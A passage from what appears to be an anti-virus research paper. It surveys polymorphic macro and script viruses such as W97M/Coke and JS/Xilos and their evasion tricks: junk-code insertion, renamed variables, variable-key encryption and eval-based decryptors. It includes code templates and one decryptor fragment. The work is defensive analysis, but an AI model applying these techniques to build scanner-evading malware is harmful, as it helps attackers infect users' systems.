As mentioned in subsection 3.1.8, many viruses employ more than one polymorphic technique. Probably their authors are under the false impression that the usage of multiple polymorphic techniques makes a virus more difficult to detect with known-virus scanners. The truth is that such viruses are exactly as difficult to detect as a virus, which uses only one polymorphic technique – the most difficult one of the bunch. If a scanner can handle that technique, it will have similarly no problems if other, weaker techniques are also used.
Nevertheless, sometimes the virus writers really let their imagination run wild and come up with monstrosities, which are so complicated, buggy and slow, that they have no real chance of surviving in the wild. In this section we shall give some examples of such viruses which use a multitude of polymorphic techniques, most of which were already covered in the previous sections.
-
The WM/UglyKid.A virus (which was also mentioned in section 3.3.3) modifies the names of the variables it uses (see section 2.3), permutates the operands of some of its instructions (see section 3.3.3), inserts random comments in its body (see section 2.5) and also inserts random assignments (see section 3.1.5) of the form
<identifier> = <rational_number>
-
The X97M/Soldier.A virus inserts in its body random apostrophe-style comments (see section 2.5), and other random do-nothing code (see section 3.1) – like random assignments of the form
<identifier>= <integer>
variable declarations of the form
Dim <identifier>
and function definitions of the form
Function <identifier>() End Function
-
The W97M/Service.A@mm virus randomly splits and joins its lines (see section 3.1.2), appends random apostrophe-style comments at the end of its lines (see section 2.5), alternates the names of its subroutines between Document_Open and Document_Close, and adds to or removes from them the attribute Private.
-
The O97M/Jugular.A@mm virus uses encryption with a variable key, storing most of its body variably encrypted in apostrophe-style comments (see section 3.2.2). In addition, it polymorphs the decryptor by changing the variable names used by it (see section 2.3), inserting empty lines in it (which, of course, has no effect in a VBA virus, but the author of the virus obviously did not know that) and interspersing it with random REM-style comments at the end of some lines (see section 2.5). Furthermore, it can randomly join lines in the decryptor with the “:” operator. The subroutine of the decryptor can be declared as Public, as Private, or without any of these two attributes. Three integer constants in the decryptor are replaced with randomly generated expressions (differences between two random numbers) yelding the same result as the original constants (see section 3.4). Finally, two of the objects used by the decryptor of the form VBProject.VBComponents.Item(1).CodeModule can be split anywhere at the dot and the left part – assigned to intermediate variables which are used later instead of the full expression:
Set H = VBProject.VBComponents : : O = H.Item(1).CodeModule.lines(A, 1)
-
The W97M/Coke.22231.A virus is even more sophisticated. Although everything it does can be implemented in pure VBA, its author has chosen a different approach. The virus creates a DEBUG script and drops a batch file which, when executed, passes the script to the system program DEBUG. The result is the creation of a 32-bit Windows executable, which is, used to polymorph the exported VBA source of the virus (among other things). This executable is itself polymorphic, meaning that its encoding as a DEBUG script looks different each time, resulting in modification of a large part of the macro form of the virus (the part that creates the DEBUG script). However, this is by far not everything this virus does, as far as polymorphism is concerned. It also polymorphs the variable names it uses (see section 2.3). It randomly modifies the letter case of its source. While the letter case of the VBA operators does not matter (see [Bontchev97a]), the letter case modification performed by this virus results also in modification of the literal strings it uses – and there the letter case does matter. Finally, the virus makes extensive use of the “insertion of do-nothing code” technique (see section 3.1). In addition to the obligatory insertion of random comments (both apostrophe- and REM-style comments; see section 3.1.1), this virus also inserts random assignments of the kinds
<identifier> = <integer>
and
<identifier>$ = <string>
It also inserts random If operators (see section 3.1.7) of the form
If <identifier> <lexpr> <identifier> Then
End If
Where <lexpr> is one of the logical operators “<”, “=” or “>”. Finally, the virus inserts in its body random For loops of the form
For <identifier> = <integer1> To <integer2>
Next <identifier>
All these insertions (which are never removed) make the virus code increase very quickly and it soon exceeds the limit VBA has on module sizes, resulting in the virus no longer working. As often happens, the virus writer has been too clever for his own good.
-
In the universe of script viruses, probably the one that uses the most sophisticated kind of polymorphism is the JS/Xilos.A virus. As a virus, it does not represent a threat, since its only form of “replication” consists of rewriting the contents of a file in the current directory with a fixed name (automodi.js) with a new polymorphic form of itself each time it is executed. Clearly, such a method of replication has no chance of surviving in the wild. However, the virus is essentially a proof-of-concept for a script polymorphic engine – and that engine is extremely sophisticated and does represent a threat to the virus scanners.
A detailed description of this virus exceeds the scope of this paper. In fact, it is a topic sufficient for a small paper on its own. Therefore, we shal limit ourselves to a very brief description only.
The virus keeps most of its code in a long literal string, which it assigns to a variable and then passes this variable as an argument to the JavaScript function eval(). This results in the interpretation of the literal string by the JavaScript interpreter. Each time it replicates, the virus polymorphs this litral text string, using several different techniques.
Most of the code in the literal string is encrypted, using variable encryption, and the decryptor is polymorphically generated every time. It is constructed from different parts assigned to variables with randomly generated names (the order of which is randomly permutated) by using string concatenation and/or array operations ([Muttik02], [Rautiainen02]).
4 Conclusion
As we have predicted more than six years ago, the virus writers have developed gradually more sophisticated polymorphic techniques for the macro and script virus realm. The kinds of techniques that were developed matches very well our initial predictions, too – although they have failed to invent a couple of techniques we discovered were possible and have managed to come up with a couple of techniques we did not think of.
In script viruses the polymorphic techniques are still under development and that is why there are not so many different polymorphic methods in use among the existing viruses of this class, as there are in VBA. However, as we expected, (see [Tocheva99b]) the script viruses are becoming more common and more sophisticated. Even more sophisticated VBScript viruses will almost certainly appear more often in the future ([Tocheva99a]).
We expect this trend to continue in the future. The capabilities of VBA, VBScript and JavaScript are far from exhausted as far as implementation of sophisticated kinds of polymorphism is concerned. Much more “difficult” (from the point of view of the developer of virus-specific anti-virus software) kinds of polymorphism are possible and they will appear sooner or later – and probably sooner than later.
Eventually, the developers of virus scanners will be forced to implement emulators for these programming languages – just as they were forced to do for assembly language, in order to handle sophisticated kinds of polymorphism in DOS and Windows viruses. In fact, even that might not be sufficient, since complex forms of metamorphism are relatively easy to implement in these programming languages, so viruses will not need to use variable encryption at all.
Undoubtedly, “interesting times” (in the sense of that old Chinese curse) await us.
5 References
- [Bontchev96] Vesselin Bontchev, “Possible Macro Virus Attacks and How to Prevent Them,” Proc. 6th Int. Virus Bull. Conf., 1996, pp. 97–127.
- [Bontchev97a] Vesselin Bontchev, “Macro Virus Identification Problems”, Proc. 7th Int. Virus Bull. Conf., 1997, pp. 175-196.
- [Bontchev97b] Vesselin Bontchev, “Veni, Vidi, Vicis?”, Virus Bull., October, 1997, pp. 10-11.
- [Bontchev98a] Vesselin Bontchev, “Methodology of Computer Anti-Virus Research”, Ph.D. thesis, University of Hamburg, Germany, 1998.
- [Bontchev98b] Vesselin Bontchev, “The Pros and Cons of WodBasic Virus Upconversion”, Proc. 8th Int. Virus Bull. Conf., 1998, pp. 153-172.
- [Bontchev2Ka] Vesselin Bontchev, “Solving the VBA Upconversion Problem”, Proc. 10th Int. Virus Bull. Conf., 2000, pp. 273-299.
- [Bontchev2Kb] Vesselin Bontchev, “Latest Macro Virus Developments and Future Trends”, Proc. 2nd AVAR Conf., 2000.
- [Muttik02] Igor Muttik, 2002, personal communication.
- [Qin97] Cai-Gong Qin, “SlovakDictator,” Virus Bull., August, 1997, pp. 15–16.
- [Rautiainen02] Sami Rautiainen, 2002, personal communication.
- [Szor01] Péter Ször, Peter Ferrie, “Hunting for Metamorphic”, Proc. 11th Int. Virus Bull. Conf., 2001, pp. 521-541.
- [Tocheva99a] Katrin Tocheva, “From VBS to VBA”, Virus Bull., March 1999, pp. 6-8.
- [Tocheva99b] Katrin Tocheva, “Multiple Infections”, Proc. 9th Int. Virus Bull. Conf., 1999, pp. 301-313.
- [Tocheva01] Katrin Tocheva, “Worms – Fashionable Viruses”, Proc. 2nd AVAR Conf., 2000.